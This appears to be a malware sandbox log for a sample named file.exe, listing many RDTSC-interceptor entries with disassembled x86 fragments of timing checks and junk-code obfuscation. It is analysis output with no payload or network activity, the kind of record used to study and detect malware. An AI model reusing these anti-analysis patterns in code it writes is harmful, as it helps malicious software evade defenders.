Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C7311 second address: 6C7328 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F85E0BBFC1Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jo 00007F85E0BBFC16h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 672619 second address: 672623 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C78EF second address: 6C790E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnl 00007F85E0BBFC16h 0x0000000c jmp 00007F85E0BBFC1Ah 0x00000011 popad 0x00000012 jne 00007F85E0BBFC1Ch 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C790E second address: 6C7919 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CDDB2 second address: 6CDDC9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F85E0BBFC23h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CDDC9 second address: 6CDDE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F85E0CFF5F2h 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CDDE5 second address: 6CDDFE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F85E0BBFC1Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CDDFE second address: 6CDE02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D302C second address: 6D3030 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6911B0 second address: 691201 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push esi 0x00000009 call 00007F85E0CFF5E8h 0x0000000e pop esi 0x0000000f mov dword ptr [esp+04h], esi 0x00000013 add dword ptr [esp+04h], 0000001Ch 0x0000001b inc esi 0x0000001c push esi 0x0000001d ret 0x0000001e pop esi 0x0000001f ret 0x00000020 mov dword ptr [ebp+122D2446h], ebx 0x00000026 lea eax, dword ptr [ebp+12485ED7h] 0x0000002c cld 0x0000002d nop 0x0000002e jmp 00007F85E0CFF5EFh 0x00000033 push eax 0x00000034 js 00007F85E0CFF5EEh 0x0000003a push esi 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 691201 second address: 671A3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 nop 0x00000006 mov cx, 2264h 0x0000000a call dword ptr [ebp+122D1C05h] 0x00000010 jnc 00007F85E0BBFC2Eh 0x00000016 pushad 0x00000017 push edi 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 691795 second address: 69179A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69179A second address: 6917A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6917A0 second address: 6917A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 691885 second address: 6918FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push edx 0x00000008 pop edx 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c jmp 00007F85E0BBFC27h 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 jnl 00007F85E0BBFC20h 0x0000001b mov eax, dword ptr [eax] 0x0000001d pushad 0x0000001e pushad 0x0000001f push edx 0x00000020 pop edx 0x00000021 jng 00007F85E0BBFC16h 0x00000027 popad 0x00000028 pushad 0x00000029 jmp 00007F85E0BBFC21h 0x0000002e jmp 00007F85E0BBFC29h 0x00000033 popad 0x00000034 popad 0x00000035 mov dword ptr [esp+04h], eax 0x00000039 pushad 0x0000003a push ebx 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6919CA second address: 6919CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 691A5B second address: 691A5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 691D1D second address: 691D57 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F85E0CFF5F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c jmp 00007F85E0CFF5F4h 0x00000011 push 00000004h 0x00000013 add dword ptr [ebp+122D30C3h], esi 0x00000019 push eax 0x0000001a push edi 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69247C second address: 692480 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 692480 second address: 6924CE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a mov ch, 2Fh 0x0000000c lea eax, dword ptr [ebp+12485F1Bh] 0x00000012 push 00000000h 0x00000014 push edx 0x00000015 call 00007F85E0CFF5E8h 0x0000001a pop edx 0x0000001b mov dword ptr [esp+04h], edx 0x0000001f add dword ptr [esp+04h], 0000001Bh 0x00000027 inc edx 0x00000028 push edx 0x00000029 ret 0x0000002a pop edx 0x0000002b ret 0x0000002c nop 0x0000002d push edx 0x0000002e push ecx 0x0000002f pushad 0x00000030 popad 0x00000031 pop ecx 0x00000032 pop edx 0x00000033 push eax 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007F85E0CFF5EDh 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6924CE second address: 6924D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6924D4 second address: 672619 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F85E0CFF5E8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push esi 0x0000000e call 00007F85E0CFF5E8h 0x00000013 pop esi 0x00000014 mov dword ptr [esp+04h], esi 0x00000018 add dword ptr [esp+04h], 00000014h 0x00000020 inc esi 0x00000021 push esi 0x00000022 ret 0x00000023 pop esi 0x00000024 ret 0x00000025 mov di, 91BAh 0x00000029 lea eax, dword ptr [ebp+12485ED7h] 0x0000002f push 00000000h 0x00000031 push ecx 0x00000032 call 00007F85E0CFF5E8h 0x00000037 pop ecx 0x00000038 mov dword ptr [esp+04h], ecx 0x0000003c add dword ptr [esp+04h], 0000001Ah 0x00000044 inc ecx 0x00000045 push ecx 0x00000046 ret 0x00000047 pop ecx 0x00000048 ret 0x00000049 jmp 00007F85E0CFF5F6h 0x0000004e push eax 0x0000004f push edx 0x00000050 jns 00007F85E0CFF5ECh 0x00000056 pop edx 0x00000057 mov dword ptr [esp], eax 0x0000005a mov dword ptr [ebp+1245C436h], esi 0x00000060 call dword ptr [ebp+122D1BE3h] 0x00000066 push eax 0x00000067 push eax 0x00000068 push edx 0x00000069 pushad 0x0000006a popad 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D2169 second address: 6D2173 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F85E0BBFC16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D22C7 second address: 6D22CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D22CD second address: 6D22D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D8B20 second address: 6D8B24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D8B24 second address: 6D8B3A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F85E0BBFC1Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D8B3A second address: 6D8B48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F85E0CFF5E6h 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D8B48 second address: 6D8B52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D8E1F second address: 6D8E41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F85E0CFF5F4h 0x00000009 jp 00007F85E0CFF5E6h 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D8E41 second address: 6D8E47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D8E47 second address: 6D8E53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F85E0CFF5E6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D8E53 second address: 6D8E58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D8FAE second address: 6D8FB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DDDFD second address: 6DDE07 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F85E0BBFC16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DD4A7 second address: 6DD4B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DD4B3 second address: 6DD4BD instructions: 0x00000000 rdtsc 0x00000002 js 00007F85E0BBFC16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DD756 second address: 6DD75A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E1A1F second address: 6E1A29 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E1A29 second address: 6E1A2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E5F12 second address: 6E5F18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E5F18 second address: 6E5F58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F85E0CFF5E6h 0x0000000a popad 0x0000000b push edx 0x0000000c js 00007F85E0CFF5E6h 0x00000012 pop edx 0x00000013 jmp 00007F85E0CFF5F6h 0x00000018 popad 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F85E0CFF5F3h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E5F58 second address: 6E5F5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E60B8 second address: 6E60D1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F85E0CFF5F1h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E60D1 second address: 6E60DB instructions: 0x00000000 rdtsc 0x00000002 jl 00007F85E0BBFC1Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E638C second address: 6E6394 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E6394 second address: 6E6398 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E6398 second address: 6E63D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F85E0CFF5F4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c pushad 0x0000000d popad 0x0000000e pop ecx 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jl 00007F85E0CFF5E6h 0x0000001a jmp 00007F85E0CFF5EFh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E63D0 second address: 6E63D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E63D4 second address: 6E63DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E63DD second address: 6E63E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E63E3 second address: 6E63F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F85E0CFF5F0h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E66B2 second address: 6E66B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E66B6 second address: 6E66BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E66BA second address: 6E66C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 691F8C second address: 691FE3 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F85E0CFF5ECh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d add dword ptr [ebp+124501DEh], edi 0x00000013 mov dword ptr [ebp+122D1D60h], ecx 0x00000019 push 00000004h 0x0000001b push 00000000h 0x0000001d push ecx 0x0000001e call 00007F85E0CFF5E8h 0x00000023 pop ecx 0x00000024 mov dword ptr [esp+04h], ecx 0x00000028 add dword ptr [esp+04h], 00000019h 0x00000030 inc ecx 0x00000031 push ecx 0x00000032 ret 0x00000033 pop ecx 0x00000034 ret 0x00000035 mov edx, dword ptr [ebp+122D1D6Fh] 0x0000003b mov ecx, ebx 0x0000003d nop 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 jnl 00007F85E0CFF5E6h 0x00000047 push ecx 0x00000048 pop ecx 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 691F96 second address: 691FE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 add dword ptr [ebp+124501DEh], edi 0x0000000f mov dword ptr [ebp+122D1D60h], ecx 0x00000015 push 00000004h 0x00000017 push 00000000h 0x00000019 push ecx 0x0000001a call 00007F85E0BBFC18h 0x0000001f pop ecx 0x00000020 mov dword ptr [esp+04h], ecx 0x00000024 add dword ptr [esp+04h], 00000019h 0x0000002c inc ecx 0x0000002d push ecx 0x0000002e ret 0x0000002f pop ecx 0x00000030 ret 0x00000031 mov edx, dword ptr [ebp+122D1D6Fh] 0x00000037 mov ecx, ebx 0x00000039 nop 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d jnl 00007F85E0BBFC16h 0x00000043 push ecx 0x00000044 pop ecx 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E741D second address: 6E7429 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 push edi 0x0000000a pop edi 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E7429 second address: 6E7433 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F85E0BBFC1Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E7433 second address: 6E743A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ECD9A second address: 6ECDA7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jc 00007F85E0BBFC16h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ECDA7 second address: 6ECDB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ECDB2 second address: 6ECDDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edi 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F85E0BBFC29h 0x00000012 jng 00007F85E0BBFC16h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ECF2F second address: 6ECF48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F85E0CFF5F3h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ECF48 second address: 6ECF4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ED0CB second address: 6ED0CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ED0CF second address: 6ED109 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F85E0BBFC28h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jp 00007F85E0BBFC16h 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b jmp 00007F85E0BBFC1Ch 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ED109 second address: 6ED10D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ED93B second address: 6ED93F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ED93F second address: 6ED943 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ED943 second address: 6ED94F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F85E0BBFC16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ED94F second address: 6ED954 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ED954 second address: 6ED975 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F85E0BBFC22h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ED975 second address: 6ED98B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 jmp 00007F85E0CFF5EEh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EDC44 second address: 6EDC4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EDC4E second address: 6EDC6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007F85E0CFF5F3h 0x0000000b popad 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EDC6E second address: 6EDC7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jnp 00007F85E0BBFC1Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EDC7F second address: 6EDC84 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EDC84 second address: 6EDC8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EDF75 second address: 6EDF7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EDF7B second address: 6EDF7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EE28A second address: 6EE28E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EE58B second address: 6EE5B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F85E0BBFC28h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f jg 00007F85E0BBFC16h 0x00000015 pop ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EE5B8 second address: 6EE5D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F85E0CFF5F4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EE5D0 second address: 6EE5E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F85E0BBFC22h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EE5E8 second address: 6EE5F6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007F85E0CFF5E6h 0x0000000e rdtsc
